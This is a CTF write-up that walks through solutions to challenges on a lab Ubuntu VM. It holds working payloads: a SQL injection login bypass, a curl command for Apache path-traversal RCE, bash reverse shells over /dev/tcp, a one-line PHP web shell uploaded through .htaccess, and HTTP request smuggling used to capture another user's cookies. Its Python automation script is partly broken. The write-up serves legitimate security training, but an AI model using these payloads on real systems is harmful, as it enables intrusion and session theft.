Similar to last year’s ctf we are provided with a kali machine as the jump box and an Ubuntu VM with ports open for the different challenges.

As usual I participated with team @fr334aks and we were able to solve 8 challenges and got position 47/265. This year most of the challenges were tougher than last year as we solved less. It was a good experience nonetheless. You can read last year’s writeup here if interested.

In this writeup I’ll be explaining solutions of 5 challenges I was able to solve. To connect to the victim machine directly via the kali box, I used this sshuttle command.

sshuttle -r kali@ -e "ssh -i metasploit_ctf_kali_ssh_key.pem"


5 of Diamonds

This challenge was on port 11111. When we load it on our browser we get the below app.

For this one it was a simple sql injection login bypass. By supplying the username admin and the password a' or 1=1-- - we can login and get the flag.


10 of Clubs

This challenge was on port 12380. From an nmap scan we get the below output.

When we access the http server on the browser we just get a static page.

The site didn’t have anything interesting about it. Looking at the Apache httpd version it looked familiar as I had seen some advisories floating around for this version regarding a directory traveral vulnerability that could lead to RCE.

Using the below PoC command I was able to confirm RCE.

curl --data "echo;id" ''

Then with the below command we can get a reverse shell on the kali vm.

curl --data "echo;/bin/bash -c '/bin/bash -i >& /dev/tcp/ 0>&1'" ''

With the reverse shell we can get the md5sum of the image to submit as our flag.



2 of Clubs

This challenge was on port 20000 and 20001. When we visit port 20000 on our browser, we get the following:

The /client directory just has a file for us to download.

After extraction we get some files and clicktracer application that launches a GUI application.

Since it’s connecting to localhost, I decided to use ssh port forwarding to forward the traffic to the victim.

ssh -L 20001: -i metasploit_ctf_kali_ssh_key.pem kali@

Selecting the easy challenge, it appears to be a clicking game where we are supposed to click the red dots.

When the time hits 30 seconds, we get our final score.

Next step is to use wireshark and sniff the traffic to figure out the messages between the application and the server so as to automate the clicks and get all of them.

When we click on the Easy Practice button the messages are as follows.

When we click on the Easy Challenge button the messages are as follows.

With this information I was able to automate all clicks for the challenge using the below script and get the flag.

#!/usr/bin/env python3
import json
from pwn import *
host = ""
port = 20001
io = remote(host,port)
init = '{"StartGame":{"game_mode":"Easy"}}'

for i in range(100):
    resp = io.recv().decode().strip()
    if "TargetHit" in resp:
    elif "GameEnded" in resp:
    j = json.loads(resp)
    x = j["TargetCreated"]["x"]
    y = j["TargetCreated"]["y"]
    click = '{"ClientClick":{"x":'+ str(x) + ',"y":' + str(y) + '}}'

When the script runs to completion we get the location of the flag.


Ace of Hearts

This challenge was on port 20011. When we load it on the browser we get this app.

When we try to access each of the provided we can load them except for John which is restricted.

The other interesting feature is the form. When I submit a test input the application tries to load it as url.

Since we have an admin url that is also restricted, we can try to load it but specify the host as localhost as the below url.

From this we can see that John’s gallery is set to private. We can uncheck this and then access John’s gallery.


3 of Hearts

This challenge was on port 33337. From nmap we get the following output.

When we try to load it on the browser it redirects to the domain To sort this out I decided to add a match and replace rule in burpsuite as below that sets the correct host header.

Now we can access the application.

The private page just shows access denied.

The logs page is empty but once we submit anything on the form, for example a,a it gets saved to save.txt together with 2 headers.

If we look at our burp history we see that the page responds with Nginx Save Page.

This means that the backend server is Nginx and frontend is the ATS server.

After some research I discovered that Apache Traffic Server 7.1.1 is vulnerable to http request smuggling.

In this case the issue is CL.TE.

Explanation from

CL.TE: the front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header.

By sending the below request in burp, the ATS server uses Content-Length header and forwards the full request to the backend nginx server which uses Transfer-Encoding header.

Nginx will then split the request into 2 whereby it takes G as the beginning of the next request. The result of this is that any follow up requests will fail because the added G will create an HTTP method that doesn’t exist. Say the follow up request is a GET request the resulting method will be GGET.

We can confirm this by sending the malformed request multiple times then try to access the site normally. We see that receive an error from nginx which is as a result of the bad method.

We can use this vulnerability to get access to the private page.

By sending the below request, we combine any follow up requests from any other users into the second request. The foo header will combine the first line of the next request and that will be ignored as it is not a valid header and then any subsequent headers will be processed by the backend and the cookie header logged to save.txt.

After sending the request multiple times we get a new entry that was not from us in save.txt. We see cookies of another user who is accessing the private page.

We can then use this cookies to load the private page and get the flag.



Post CTF Solutions

Solutions to challenges I figured out after the CTF ended.

9 of Spades

This challenge was on port 20055. The objective was to bypass the filter in place for uploading a file we can execute php code.

We can upload .htaccess file that specifies any extension of our choosing to execute php code.

In the below screenshot I intercept the upload request using burp and modify the request. The .htaccess file has the below content that enables a file with .mike extension to be executed as a php file.

AddType application/x-httpd-php .mike

Now I uploaded a file with the following php code that executes system commands.

<?php echo system($_REQUEST['cmd']);?>

Using this curl command we get a reverse shell.

curl -G --data-urlencode "cmd=/bin/bash -c '/bin/bash -i >& /dev/tcp/ 0>&1 &'"

With the shell we can copy the flag to the uploads location to download it from the browser.


4 of Diamonds

This challenge was on port 10010. When we load it on the browser we get the following app.

After creating an account the account information is stored in the response in a script tag.

All these parameters are those provided during registration. We can try to manipulate the role from user to admin.

During registration I intercepted the request with burp and added role as admin.

We then get access to the admin panel that has the flag.



Some great new challenges this year and definitely more challenging. Looking forward to next year’s CTF.

The last challenge definitely made me feel like I need to get back to Web Security Academy.

If you have any questions or feedback feel free to reach out.

Another writeup you can read: